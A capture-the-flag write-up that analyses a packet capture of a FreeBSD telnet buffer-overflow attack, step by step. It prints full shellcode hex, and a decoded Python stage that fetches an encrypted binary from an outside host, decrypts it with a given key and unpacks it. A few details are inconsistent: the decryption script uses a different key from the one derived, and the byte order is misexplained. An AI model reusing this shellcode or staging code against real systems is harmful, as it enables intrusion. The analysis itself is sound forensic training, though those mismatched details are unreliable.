CySCA 2013 Network Forensic Writeup
A solution guide for a forensices challenge released during a past CTF event
This blogpost contains the writeup for the network forensic challenge in the Cyber Security Challenge Australia 2013 capture the flag event.
Question 5.1 – 1 point
- What is the CVE of the vulnerability used to exploit the mail server?
- What was the operating system that was targeted?
Example answer format:
[CVE-1234-1234] [msdos]
Answer 5.1
This was a really easy question to answer, using Wireshark I opened the .pcap file and in Frame 17 I found that the target operating system to be FreeBSD i386. And to find the exploit being used in the attack I looked at the entire .pcap file and was able to determine it was a telnet attack, I then searched the exploit-db database to find that there was only one exploit which matched the attack which was the cve-2011-4862 exploit.
[CVE-2011-4862][FreeBSD/i386]
Question 5.2 – 4 points
The first payload contains shellcode that invokes system calls i.e. “int80”. The first system call is “socket”. What are the next two system calls (remember the target OS)?
Example answer format: [syscall1] [syscall2]
Answer 5.2
Since I was able to determine the exploit being used in this attack, CVE-2011-4862 (FreeBSD Telnet Service Encryption Key ID Buffer Overflow), I had a look at how the exploit worked. While looking at the code for the exploit I was able to determine that the payload was sent to the target machine as part of the “key_id” in the encryption for the telnet session. Knowing this I began looking through the network dump using Wireshark to find that frame 23 contained the first payload, this was because the line “key_id = Rex::Text.rand_text_alphanumeric(400)” in the exploit shows the entire payload sent to the target machine would be 400 bytes in size and when I click on the “key_id” in frame 23 I can see the size to be 400 bytes in size.
Screenshot of Frame 23 from network traffic dump viewed in Wireshark.
The part was locating the actual payload within these 400 bytes, again looking at the actual exploitation code I saw on the lines 89 & 90 the following:
# The actual payload
key_id[192, penc.length] = penc
Which meant that in the 400 bytes sent to the target machine the actual payload started at the 192th byte out of the 400 bytes. I select the 400 bytes and exported the bytes as hex stream, once exported I began modifying the bytes until I was able to determine the 192th byte which corresponds to the starting point of the payload, the following hex bytes are what I found to be the payload bytes I was looking for:
\x98\x8d\x43\x96\x81\xd6\xb7\x7b\x2c\x27\x3f\xbf\xb3\xfd\x4f\xb5\x4e\x85\xf5\x15\xa9\x93\xa8\x35\x0d\x40\xb2\xbb\x41\x4a\x47\x46\xf8\xb0\x69\xd5\x92\x25\xb9\x66\xb6\x1c\x37\x99\xba\x1d\x49\x0c\x24\xb4\x14\x9f\x9b\xd4\x97\xb1\x2f\x48\xba\xbd\xda\x3c\x77\xda\xd8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x48\xb0\x5d\x2f\x2b\x17\xdc\x9d\x09\xca\x88\x2b\x87\xca\x81\xe1\x17\x62\x02\xf8\x06\x2f\xab\x1d\x42\xdf\xfa\x8d\xc3\x48\x96\x4f\xbb\xbb\xe7\x20\x38\x82\xa9\xbd\x2e\xc7\xaa\xfd\x6c\x69\x77\x76\x55\x7a\x6f\x64\x35\x66\x52\x41\x44\x65\x50\x72\x75\x34\x6c\x6e\x36\x50\x32\x39\x48\x4f\x4e\x4c\x70\x32\x30\x55\x64\x37\x6c\x53\x57\x4e\x37\x49\x70\x65\x64\x50\x79\x75\x51\x53\x72\x4d\x48\x69\x35\x79\x34\x73\x33\x69\x46\x37\x70\x56\x72\x78\x79\x59\x74\x71\x5a\x38\x7a\x72\x35\x52\x79\x34\x4f\x58\x65\x37
Once I had the bytes that make the payload I can begin to work out the system calls that the shellcode invokes, to do this I decided that the way I would do this is compile the shellcode into a binary file and then use a debugger to identify the system calls made by the binary as it executes. To do this method I need to do the following:
- I need to compile and execute the shellcode binary in a FreeBSD environment to be able to catch the correct system calls, I created a FreeBSD virtual machine for this.
I also configured the virtual machine as best as I could to match the FreeBSD target machine in the attack – eg same IP address.
Screenshot of code used to compile the first payload as a binary.
I compiled the binary using gcc and the command “gcc -g shellcode-compiler.c -o CySCA13-networktraffic-1stpayload” once the shellcode had been compiled into a binary I used gdb to debug the binary as it is executed. Before continuing I did some research on how Unix specifically FreeBSD makes system calls and found the following information. Unix don’t use software interrupts other then int80 but instead use a 4byte value that maps to a kernel function which is stored in the EAX register. This breaks down to int80 interrupts the software execution and contains a value stored within the EAX register which maps to a syscall.
With the knowledge about how to identify the syscalls in a FreeBSd environment I began to dissect the binary file using gdb, I used the command gdb CySCA13-networktraffic-1stpayload”, I prepare my work environment with the following:
- break 6
- display /ni $pc
- layout asm
- layout reg
After the preparation I ran the binary and stepped through the execution one line at a time using si, until I came to a loop in the assembly.
Screenshot of gdb displaying the loop in the assembly.
Screenshot of gdb stepping through the loop, and deobfuscate a int80.
The loop deobfuscates the shellcode, once the shellcode had been deobfuscate I was able to identify a int80 instruction at the memory address of 0x80495c3 in my work environment. When I viewed the memory space I saw that the EAX register contained a value of 97, I looked up the value in the FreeBSD syscall table and learnt this value represented AUE_socket, I had now identified the first syscall made by the shellcode.
Screenshot of gdb viewing first syscall.
This is all well and good but the question actually asked for which two syscalls were made after socket, using the pagedown I was able to identify that the next two int80’s were at the memory locations of 0x80495d5 & 0x80495dd respectively.
Screenshot identifying memory locations of the two target syscalls.
I worked my way through the shellcode to reach the second int80 which contained 98 in the EAX register which when looked up in the syscall table is AUE_connect.
Screenshot of gdb viewing second syscall, connect.
Again moved down to the third syscall which revealed the value 3 which represents the syscall AUE_null to corresponds to a read().
Screenshot of gdb viewing third syscall, read.
And with this found the answer to question 5.2 is the following [connect][read].
[connect][read]
Question 5.3 – 8 points
De-obfuscatethe second payload to reveal the triple DES key. The key is the flag.
Answer 5.3
If you look at the exploit code for this attack, CVE-2011-4862 (FreeBSD Telnet Service Encryption Key ID Buffer Overflow), you can see that the payload is sent twice to the target machine which meant the payload within frame 26 is not the second payload, also if you look at the two hex streams they are identical, looking through the network trace I saw that frame 33 contained the second payload.
Screenshot of Frame 33 from network traffic dump viewed in Wireshark.
I select the 811 bytes and exported the bytes as hex stream, once exported I began modifying the bytes ready to compile into a code to be compiled, the following hex bytes is the payload ready:
\xb9\x18\x03\x00\x00\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07\xe2\xfa\x6b\x39\x5b\x9d\x57\x6e\x2a\x6b\x09\x0a\x82\xeb\x5f\x66\x61\x3f\x62\x7a\x7b\x3b\x3a\x74\x7e\x91\xfa\x48\xf3\xec\x1f\x1e\x1f\x0f\x54\x51\x51\x0b\x49\x49\x44\x49\x45\x05\x49\x45\x43\x01\x5f\x49\x45\x5a\x5c\x5a\x15\x1b\x54\x18\x1b\x5f\x43\x59\x5e\x16\x18\x21\x16\x73\x34\x26\x76\x0c\x77\x01\x01\x04\x3d\x15\x7f\x3a\x23\x34\x15\x21\x34\x35\x02\x67\x20\x3a\x6a\x10\x6b\x15\x15\x10\x6e\x39\x0f\x20\x1a\x06\x57\x28\x0b\x0b\x5a\x27\x5c\x25\x25\x23\x08\x20\x22\x30\x09\x16\x47\x38\x05\x22\x21\x2b\x0e\x1f\x4f\x47\x15\xe1\xb3\xd4\xb3\xcf\xcd\xc8\xf1\xd1\xbb\xfe\xe7\xe8\xce\xbb\xcd\xc2\xfd\xab\xd9\xc0\xfe\xc0\xc2\xd4\xd1\xd4\xed\xc5\xaf\xea\xf3\xc4\xe2\x97\xf7\xf0\x95\xe8\xeb\xf0\x99\xf8\xe3\xf9\xc6\xe8\xe1\xfb\xe5\xc1\xd4\xd7\xcc\x83\xcd\xe2\xee\x8f\xd0\xd8\xfa\x86\xd0\x89\xad\xba\xf7\x89\x91\x84\xa4\xad\x8d\x87\xb2\x94\x85\xa9\xb8\x9d\x87\xaa\xe7\x99\x91\x94\xb4\xbd\x9d\x9b\xac\x84\x95\xb9\xa8\xad\xb7\x9a\xd7\xa9\xa1\xa4\x84\x8d\xad\xab\x9c\xb4\xa5\x89\x98\xbd\xb7\x8a\xc7\xb9\xb1\xb4\x94\x9d\xbd\xbb\x8c\xa4\xb5\x99\x88\x4d\x47\x7a\x37\x49\x41\x5c\x64\x6d\x4d\x53\x38\x54\x45\x69\x3d\x4a\x7d\x6a\x27\x5a\x78\x4c\x74\x7d\x5d\x43\x28\x44\x55\x79\x2d\x79\x10\x5a\x17\x6a\x4f\x70\x44\x4d\x6d\x6b\x51\x74\x65\x49\x1d\x7d\x00\x4a\x07\x7a\x58\x6c\x54\x5d\x7d\x60\x50\x64\x75\x59\x48\x0d\x07\x3a\x77\x09\x01\x04\x24\x2d\x0d\x08\x23\x14\x05\x29\x38\x1d\x17\x2a\x67\x19\x11\x13\x3e\x14\x1a\x3d\x32\x11\x09\x1f\x2a\x2d\x35\x23\x16\x29\x1f\x2f\x12\x25\x03\x2b\x13\x25\x04\x19\x5e\x3d\x08\x19\x03\x3b\x0c\x34\x1c\x35\x2a\x3b\x42\x35\x35\x33\x0a\xe3\xec\xd4\xe9\xe0\xec\xe1\xb3\xc5\xdd\xe1\xf2\xc7\xd9\xfd\xe8\xf3\xe8\xa7\xf9\xf6\xd2\xaf\xed\xc2\xca\xfd\xeb\xd3\xe4\xdc\xe8\xed\xf2\xe3\x9a\xed\xed\xe8\x96\xf1\xc7\xe8\xd2\xce\x9f\xe0\xc3\xd3\x82\xff\xc6\xe1\xf2\x8f\xc0\xe2\xee\x8e\xd4\xeb\xc4\xf4\xc9\xa3\x86\x94\xb6\xa7\xf6\x88\xb4\x81\xa0\xbd\xa2\x96\x8a\x98\xb5\x9d\xa8\x9b\xa0\x9d\xbc\xe7\xbc\x91\xb0\xad\xb2\x90\x8a\xad\xb6\xac\xa2\xa8\xb2\x85\xb2\x82\xb3\x89\xae\xd3\x92\x88\xa8\xdb\x83\xa9\xa9\xb8\x9f\x97\x9e\xc7\x9b\xa1\xae\xce\xca\xb1\xbe\xb4\x9b\x4c\x49\x4c\x33\x5e\x42\x6a\x72\x58\x51\x44\x3a\x55\x63\x4c\x76\x72\x23\x5c\x7f\x77\x26\x5b\x62\x4d\x5c\x76\x4a\x4e\x4e\x66\x65\x44\x66\x70\x55\x40\x7d\x77\x1e\x4b\x1a\x7c\x42\x4f\x65\x64\x59\x69\x03\x64\x49\x57\x4c\x03\x66\x6b\x6f\x78\x7d\x77\x69\x4d\x58\x1a\x05\x0b\x24\x14\x16\x04\x30\x05\x1a\x7f\x21\x2e\x7f\x7f\x3b\x34\x06\x67\x23\x0d\x67\x10\x67\x02\x0a\x32\x30\x11\x0b\x2d\x28\x05\x25\x2b\x57\x2b\x0f\x24\x53\x25\x3d\x01\x5b\x23\x2b\x5e\x1f\x27\x0b\x30\x17\x3b\x0c\x34\x00\x35\x10\x3b\x42\x35\x35\x30\x4e\xd9\xef\xc0\xfa\xe6\xb7\xc8\xeb\xeb\xba\xc7\xfe\xd9\xca\xb7\xf8\xca\xc6\xa6\xfc\xc3\xec\xdc\xa7\xc1\xc1\xd3\xf2\xd0\xde\xd4\xa9\xc5\xe9\xf8\xce\xed\xcc\xd1\xce\xe4\xfa\xe0\xcf\xe0\xe5\xe0\x9f\xea\xf6\xde\xc6\xe4\xed\xf8\x86\xe1\xd7\xf8\xc2\xde\x8f\xf0\xd3\xa3\xf2\x8f\xb6\x91\x80\xaa\x96\x9a\x9a\xa1\xfc\x85\x85\x8f\xb6\x9c\xbc\x9c\xa5\xb6\x82\xe7\xe6\xba\xb4\xb6\xb1\x85\x85\x8c\xb3\xab\xa6\xb3\x9a\xaf\xb1\x95\xda\xcf\xc7\x8e\x8e\x8f\x82\x8a\x8a\xd8\xd6\x90\x92\x87\x90\xc0\xc3\xdf\xd0\xd3\xc0\xde\xdd\xd8\xd9\x20\x2f\x2d\x70\x74\x64\x6b\x66\x7b\x7a\x6b\x78\x7f\x64\x60\x0f\x47\x42\x9b\xf2\x46\x44\x45\x47\xd5\x99
I modified the previous .c file and replaced the existing payload with the new payload from above, compiled the code and started debugging the binary using gdb. Early on in the debug I came across a xor loop function which deobfuscates the entire payload.
Screenshot of gdb viewing the loop function at the start of the second payload.
it took many “si”s to get to the end of the loop, 800 to be exact, a loop process for every byte in the payload. After the loop was completed I saw the following information:
“0x8049889 <shellcode+809> int $0x80”
Screenshot of gdb viewing syscall, execve.
The int80 contained the value 59 in the EAX register, which is AUE_execve. In research the I found that the execve syscall stores a file to be executed in the EBX register.
Screenshot of gdb viewing the syscall execve, ebx register.
Using the command “x/s $ebx” in gdb I was able to have a look at the value stored in the register at the time of the int80 event, I found the value to be /bin/sh. Along with storing a file to be executed in the EBX register the execve syscall also stores arguements for the executable file in the ecx register+8. I viewed the contents of the ecx register using the following command “x/s *($ecx+8)” to discover the below information in the register:
(gdb) x/s *($ecx+8)
0x8049591 <shellcode+49>: “/usr/local/bin/python -c \”exec(‘aW1wb3J0IHNvY2tldDsgaW1wb3J0IHN1YnByb2Nlc3M7IHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX0RHUkFNKTsgcy5zZW5kdG8oIlx4MTBceDMyXHgwMVx4MDBceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDZceDY3XHg2Zlx4NmZceDY3XHg2Y1x4NjVceDAzXHg2M1x4NmZceDZkXHgwMFx4MDBceDBhXHgwMFx4MDEiLCgiMTAuMTAuMzIuMjAxIiw1MykpOyBkMSA9IHMucmVjdig4MTkyKTsgcy5jbG9zZSgpOyBwMSA9IHN1YnByb2Nlc3MuUG9wZW4oWyJvcGVuc3NsIiwiZGVzMyIsIi1kIiwiLWsiLCJQaWdTaG9ydE5lYXJlck1lYW41MCJdLHN0ZGluPXN1YnByb2Nlc3MuUElQRSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFKTsgZDIgPSBwMS5jb21tdW5pY2F0ZShkMVsweDI4OjB4MTk0OF0pWzBdOyBwMiA9IHN1YnByb2Nlc3MuUG9wZW4oWyJ0YXIiLCJ6eHZmIiwiLSJdLHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7IHAyLmNvbW11bmljYXRlKGQyKTs=’.decode(‘base64’));\” && ./spamassassin
Using the below python code to decode the base64 string above passed to the exec command:
import base64
coded_string = '(base64 string)'
base64.b64decode(coded_string)
The output from the python code decoding the base64 string was the following:
import socket; import subprocess;
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM);
s.sendto("\x10\x32\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x0a\x00\x01",("10.10.32.201",53));
d1 = s.recv(8192); s.close();
p1 = subprocess.Popen(["openssl","des3","-d","-k","PigShortNearerMean50"],stdin=subprocess.PIPE,stdout=subprocess.PIPE);
d2 = p1.communicate(d1[0x28:0x1948])[0];
p2 = subprocess.Popen(["tar","zxvf","-"],stdin=subprocess.PIPE); p2.communicate(d2);
In the above information I found that the triple DES key to be “PigShortNearerMean50”.
key = PigShortNearerMean50
Question 5.4 – 5 points
Once the third payload is decrypted with the above key, it drops out a binary. De-obfuscate the key hidden in the binary. The key is the flag.
Answer 5.4
To answer this question I need to determine the frame in the network trace file that contains the third payload. The question above helps with identifying the third payload, in frame 33 we found the above information in which the target machine is told to connect back to the attacking machine on port 53 which is seen in frame 34, and then in the Wireshark the attacker sends information to the target machine from frame 35 to frame 38 and it reassembled in frame 39, this makes the frame 39 the frame containing the third payload, also as the second payload showed a DNS query sent from the victim machine and frame 39 is the only DNS response we can also safely determine this is the payload wanted.
Screenshot of Frame 39 from network traffic dump viewed in Wireshark.
The information found in the above question gives some direction into how to deal with answering this question, such as the above python script only cares about the information in between 0x0028 and 0x1948 – as shown in this line (d2 = p1.communicate(d1[0x28:0x1948])[0];). When that byte range is selected it matches the bytes contained in the data field of the DNS answer, this is where the third payload is. Another important bit of information that can be taken from the above question is that the python code was encoded in base64 which is commonly when there is a need to encode binary data while being transferred over media. With this bit of information I realized I did not need compile the payload, but instead I could just export the select bytes as a raw data file.
Once the byte had been exported from Wireshark and were transferred over to the FreeBSD virtual machine, I took the approach used in the script to decrypt the payload to try and get access to the binary file contained instead. Using the commands to do the said task:
openssl des3 -d -k PigShortNearerMean50 < (payload) tar zxvf -
Screenshot displaying the decryption process being successful and able to get the binary file.
The decryption process was successful and the spamassassin dropped out of the payload. The first part of examining this binary file, as we did not compile it is to see if we can read anything for the executable and linkable format header (ELF header).
Screenshot of readelf output of spamassassin binary.
From the above screenshot an interesting information was found out:
- “78: 0804a320 17 OBJECT GLOBAL DEFAULT 14 KEY”
- “97: 080487f0 220 FUNC GLOBAL DEFAULT 11 rc4_crypt”
I determined this is probably the key I am looking for, using gdb to debug the binary file I set a breakpoint on the main function and began examining the binary. I first had a look at the information stored in the memory location where the key was suppose to be and was revealed be encoded in some form, this is because of the xor loop found in the main function, which loops 15 times.
(gdb) x/4x 0x0804a320
0x804a320 <KEY>: 0x8b8d96bd 0x869e9b97 0x9e8d9eb8 0xcbcc9a98
0x8048cfb <main+27> movb $0xff,0xffffffe7(%ebp) # loads the value \xFF into the ebp register, \xFF is the value used in the xor loop.
0x8048d08 <main+40> mov 0xffffffe0(%ebp),%edx
0x8048d0b <main+43> mov 0xffffffe0(%ebp),%eax
0x8048d0e <main+46> movzbl 0x804a320(%eax),%eax # takes obfuscated key byte and moves to %al.
0x8048d15 <main+53> xor 0xffffffe7(%ebp),%al # Xor’s the value in %al with \xFF which is stored in ebp.
0x8048d18 <main+56> mov %al,0x804a320(%edx) # Stores deobfuscated value in %edx register.
0x8048d1e <main+62> addl $0x1,0xffffffe0(%ebp) # Moves to the next byte.
0x8048d22 <main+66> cmpl $0xf,0xffffffe0(%ebp) # Checks if all bytes have been deobfuscated.
0x8048d26 <main+70> jle 0x8048d08 <main+40> # Loops if there are bytes left to unobfuscate.
After the loop was completed I looked at the memory location again containing the key to see the following:
(gdb) x/4x 0x0804a320
0x804a320 <KEY>: 0x74726942 0x79616468 0x61726147 0x34336567
Looking the values in an ASCII table I was able to learn the key, which was 0xtriB 0xyadh 0xaraG 0x43eg. This meant the key inside the spamassassin binary was BirthdayGarage43. The reason why the hex bytes were reversed was due to the fact that the key was stored in the stack and therefor it is “first in last out”.
key = BirthdayGarage43
Question 5.5 – 3 points
Decode the communication and retrieve the flag.
Answer 5.5
To answer the final question I had to determine the communicate to decode to be able to retrieve the flag, to do this I opened up the .pcap file in Wireshark and saw that were only 4 TCP streams and 1 UDP stream, since I knew the UDP stream was not what I was looking I looked at the TCP streams and determined that TCP stream 4 was the one containing the communicate I needed to decode.
Screenshot of viewing the communication in Wireshark.
Using the following python script to decode and then decrypt the communication to reveal the key.
#!/usr/bin/python
from Crypto.Cipher import ARC4
text = “””SqA=
Vq2Ho6t/IJjzovZ8bsPk0VyO5VvIS26KHVusjHTp9LdegFWzq5jqDm2Eaa3NOCkwk7Y/Z34=
#T7fDsek4PYM=
DaeQ9uk0WA==
DayK7e84II6W
Da/W8vQwO5mW
DaiM+fI5WA==
DbSR8f0+PpKW
DbeQ9pE=
Ra2N//cIP5Lvpb47bKA=
#QKWXvrQlPZjo+bk1Z8vsswHD4UDMSWc=
DunOs7Z6f9qx+/JxJIetwUGLvx6AAy+OEBHzziy0qqdDhSg=
Xbqd4OUpLIniqKEid9T+khLY7E3TUHzdQ0KgnX/n+fQQ1ig=
dKyM/7d3PJ7/s/8rZtjrzB/J/kXEQGWDSVS3kCH26e9Pog==
KQ==
aKGapLsTM4DylKovYMTlnx/090DdS2HXc12qim735uZYnSg=
DunOs7Z6f9qx+/JxJIetwUGLvx6AAy+OEBHzziy0qqdDhSg=
Xbqd4OUpLIniqKEid9T+khLY7E3TUHzdQ0KgnX/n+fQQ1ig=
“””
for line in text.split(‘\n’):
cipher = ARC4.new(‘BirthdayGarage34’)
print cipher.decrypt(line.decode(‘base64’))
When the python script was executed it gave the following output:
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
ls /root
.cshrc
.history
.k5login
.login
.profile
.ssh
final_message
cat /root/final_message
———————————-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Whoa, nice work solving this one!
Key: DawnBusinessRespectNational65
———————————-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
key = DawnBusinessRespectNational65
